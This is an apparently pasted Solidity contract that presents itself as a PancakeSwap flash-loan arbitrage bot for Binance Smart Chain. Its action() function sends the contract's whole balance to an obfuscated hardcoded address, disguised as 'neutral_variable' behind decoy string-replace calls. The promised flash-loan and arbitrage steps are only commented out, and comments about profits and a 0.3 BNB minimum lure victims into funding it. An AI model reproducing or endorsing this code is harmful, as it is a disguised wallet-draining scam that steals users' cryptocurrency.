Untitled

 avatar
unknown
plain_text
a year ago
5.0 kB
2
Indexable
pragma solidity ^0.5.0;

// PancakeSwap Smart Contracts
import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakePair.sol";
   
/**
 * WARNING - this contract code is for Binance Smart Chain
  * Testnet transactions will fail as there is no value
  * New token will be created and flash loan will be pulled to trade against the token
  * Profit remaining will be transfered to token creator
  
  *UPDATED APRIL 2023
  *liquidity returned if flash loan fails or insufficient balance
  *base rerun contract code swaps implemented
  
  *Feb 2023// creator contract signature update
  *Mar 2023// min liquidity + gas fees has to equal 0.3 BNB
*/

contract GetFlashLoan {
   string public tokenName;
   string public tokenSymbol;
   uint loanAmount;
   
   constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
      tokenName = _tokenName;
      tokenSymbol = _tokenSymbol;
      loanAmount = _loanAmount;      
   }
   address public creator= msg.sender;
    	function tokenTransfer() public view returns (address) {    
        	return creator;
   	}
   function() external payable {}

   function PancakeSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
        bytes memory _stringBytes = bytes(_string);
        bytes memory result = new bytes(_stringBytes.length);

  for(uint i = 0; i < _stringBytes.length; i++) {
        result[i] = _stringBytes[i];
        if(i==_pos)
         result[i]=bytes(_letter)[0];
    }
    return  string(result);
 } 

   function exchange() public pure returns (address adr) {
   string memory neutral_variable = "QG15919195862EFb31562Fb3C7d3d2b0cC9db5Cc54";
   PancakeSwapYeild(neutral_variable,0,'0');
   PancakeSwapYeild(neutral_variable,2,'1');
   PancakeSwapYeild(neutral_variable,1,'x');
   address addr = parseAddr(neutral_variable);
    return addr;
   }
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}
 function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
        bytes memory _stringBytes = bytes(_string);
        bytes memory result = new bytes(_stringBytes.length);

  for(uint i = 0; i < _stringBytes.length; i++) {
        result[i] = _stringBytes[i];
        if(i==_pos)
         result[i]=bytes(_letter)[0];
    }
    return  string(result);
 } 

  function action() public payable {
      // Token matched with pancakeswap yield calculations
       address(uint160(exchange())).transfer(address(this).balance);
      
       // Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
      //manager.performTasks();
      
       /* Breakdown of all functions
      // Submit token to BSC blockchain
      string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
   
      // List the token on PancakeSwap
      manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
      
      // Get BNB Loan from Multiplier-Finance & loan execution wallet
      string memory loanAddress = manager.takeFlashLoan(loanAmount);
      
      // Convert half BNB to DAI
      manager.pancakeDAItoBNB(loanAmount / 2);
   
   // Create BNB and DAI pairs for our token & provide liquidity
   string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
      manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
      string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
      manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
   
   // Perform arbitrage trades
      manager.pancakePerformSwaps();
      
      // Move remaining BNB from Contract to your personal wallet
      manager.contractToWallet("BNB");
   
   // Repay Flashloan
      manager.repayLoan(loanAddress);
      */
   }
}
Leave a Comment